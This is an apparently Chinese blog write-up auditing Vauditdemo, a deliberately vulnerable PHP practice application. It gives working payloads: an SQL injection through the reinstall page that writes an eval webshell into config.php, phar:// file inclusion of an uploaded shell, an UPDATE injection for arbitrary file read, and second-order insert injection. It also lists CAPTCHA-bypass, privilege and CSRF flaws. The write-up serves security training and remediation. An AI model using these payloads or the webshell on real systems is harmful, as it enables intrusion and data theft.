Vauditdemo代码设计报告

               

一:二次安装漏洞

对比config.php源代码

if (!file_exists($_SERVER["DOCUMENT_ROOT"].'/sys/install.lock')){

    header("Location: /install/install.php");

exit;

}

对比Install.php源代码

if ( file_exists($_SERVER["DOCUMENT_ROOT"].'/sys/install.lock') ) {

    header( "Location: ../index.php" );

}

require_once '../header.php';

工作过程判断sys目录下是否存在install.lock,若存在则跳转到首页index.php,而index.php中包含了sys/config.php,其中判断了sys中是否存在install.lock 若不存在则跳转。

Install.php->index.php->config.php

对比差异发现install.php跳转后并没有exit进行退出,故可能存在2次安装漏洞

1.泄露安装信息

2.install.php继续运行

$dbhost = $_POST["dbhost"];

    $dbuser = $_POST["dbuser"];

    $dbpass = $_POST["dbpass"];

    $dbname = $_POST["dbname"];

dbname参数可控

mysql_query( "CREATE DATABASE $dbname", $con ) or die( mysql_error() );

可能存在sql注入漏洞,没有对post请求进行转义过滤

$str_tmp.="\$database=\"$dbname\"; \r\n";

怎样构造payload使表名有效且是木马脱离

CREATE DATABASE vauditdemo-- ";@eval($_POST[a]);//

$database="vauditdemo-- ";@eval($_POST[a]);//";

Payload为vauditdemo-- ";@eval($_POST[a]);//

成功写入木马

成功写入木马

菜刀连接成功

攻击链 在install.php中写入 ,index.php包含了config.php,且用户参数可控,没有过滤,导至成功写入木马

install.php跳转后并没有exit进行退出,导致漏洞,建议安装完毕后,删除安装页面

二:常见方法

1.所有文件的读写敏感函数:file_get_contnts,fgets,file_put_contents,fwrite,避免用户可控点,避免写入木马,避免文件读写,避免读取全站源码

Avatar.php存在文件读取参数可控

echo file_get_contents($_SESSION['avatar']);

2.所有用户可输入对象:$_POST,$_GET,$_SERVER,$_FILES,$_REQUEST

Lip.php中源代码

if( !get_magic_quotes_gpc() ) {

    $_GET = sec ( $_GET );

    $_POST = sec ( $_POST );

    $_COOKIE = sec ( $_COOKIE );

}

说明$_SERVER,$_FILES,$_REQUEST没有被过滤

3.文件包含,include,include_once,require,require_once,确认是否有可控点

Index.php中

if (isset($_GET['module'])){

        include($_GET['module'].'.inc');

module参数可控

4.对于用户可控的,要注意来源是否是用户,若不是,则要回溯看这个变量值来源

X-Forwarded_For请求字段

若经过3个代理ip分别为ip1,ip2,ip3则会收到

X-Forwarded_For:IP0,IP1,IP2 remode_addr:ip3

Lib.php存在

HTTP_X_FORWARDED_FOR

常用过滤条件addslashes过滤单引号等,mysql_real_escape_string,htmlspecialchars,后缀名过滤str_ireplace。

三.用户操作漏洞

1.用户登录时没有验证码,也没有次数限制,可以暴力破解

2.没有对用户名特殊字符过滤,woniu‘#,可以而二次注入

3.后台登录,没有考虑验证码为空的情况,验证码为空,且用户删除验证码导致

空==空从而绕过验证码,并且验证码没有做失效处理

(@$_POST['captcha'] !== $_SESSION['captcha']

4.查看源代码updateName.php,发现存在修改任意用户名的代码,$clean_user_id没有验证,从而用户可以变成任意用户,实现越权操作

$query = "UPDATE users SET user_name = '$clean_username' WHERE user_id = '$clean_user_id'";

5.用户修改密码是存在csrf漏洞,没有对旧密码验证,也没有是有token验证机制

四.首页文件包涵漏洞

分析index.php源代码

if (isset($_GET['module'])){

        include($_GET['module'].'.inc');

发现可能存在文件包涵module参数可控,需要后缀名为.inc

查看updateAvatar.php源代码,发现文件上传有白名单限制,只能上传图片文件,考虑phar://伪协议,创建shell.inc的一句话木马,再压缩成zip,修改为shell.jpg进行上传

上传成功,但使用了时间戳对其进行了重命名,攻击者无法获得文件名,但可能通过时间戳爆破猜出文件名,所以需要对module竟可能的不可控。

五:任意文件读取漏洞

avatart.php中,$_SESSION['avatar']可控,若将其构造成一个文件名,是不是可以读取任意文件,从而黑盒变白盒呢?

<?php

error_reporting(0);

session_start();

header("Content-type:image/jpeg");

echo file_get_contents($_SESSION['avatar']);

?>

分析发现$_SESSION['avatar']的值通过updateavatar.php中进行更新赋值

$query = "UPDATE users SET user_avatar = '$avatar' WHERE user_id = '{$_SESSION['user_id']}'";

其中$avatar = $uploaddir . '/u_'. time(). '_' . $_FILES['upfile']['name'];发现sql语句来源于$_FILES,综上$_files没有过滤,所以存在sql注入,下面尝试对update语句进行拼接

UPDATE users SET user_avatar = 'index.php' where user_name='kun'#.jpg' WHERE user_id = 1

此处会自动添加一个前缀,为了绕过,利用到update的特性,同列重复赋值时,取最后一个。

../uploads/u_1660717080_index.php

UPDATE users SET user_avatar = '../uploads/u_1660717080_',user_avatar = 0x2E2E2F696E6465782E706870 where user_name='kun'#.jpg' WHERE user_id = 1

注入后成功将头像改成文件名

访问http://192.168.206.145:81/user/avatar.php?avatar=/后读取到源代码

本漏洞调用链条

  1. 搜索敏感函数,file_get_contnts找到读取文件
  2. 发现$_SESSION['avatar']参数可控
  3. 去找谁给$_SESSION['avatar']赋值,发现$row['user_avatar']对其赋值

4.谁给$row['user_avatar'],找到update更新语句'$avatar'

5.最后发现'$avatar',来源于$_FILES['upfile']['name'],确认可控点

六:发表留言2次注入

messageSub.php

$query = "INSERT INTO comment(user_name,comment_text,pub_date) VALUES ('{$_SESSION['username']}','$clean_message',now())";

$_SESSION['username']$clean_message2个参数时可控的,所以尝试对insert语句进行拼接

INSERT INTO comment(user_name,comment_text,pub_date) VALUES ('kun\',',database(),1);#',2021)

Payload,database(),1);#

因为没有对用户名进行过滤特殊字符,所以才有了拼接的可能

攻击链,$_SESSION['username']可控,注册一个kun\的用户,$clean_message可控,构建payload完成注入,成功线束数据库名

最后,留言处存在无法利用的xssdom漏洞,存进去时没有进行html编码

  • 14
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

不要做小白了

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值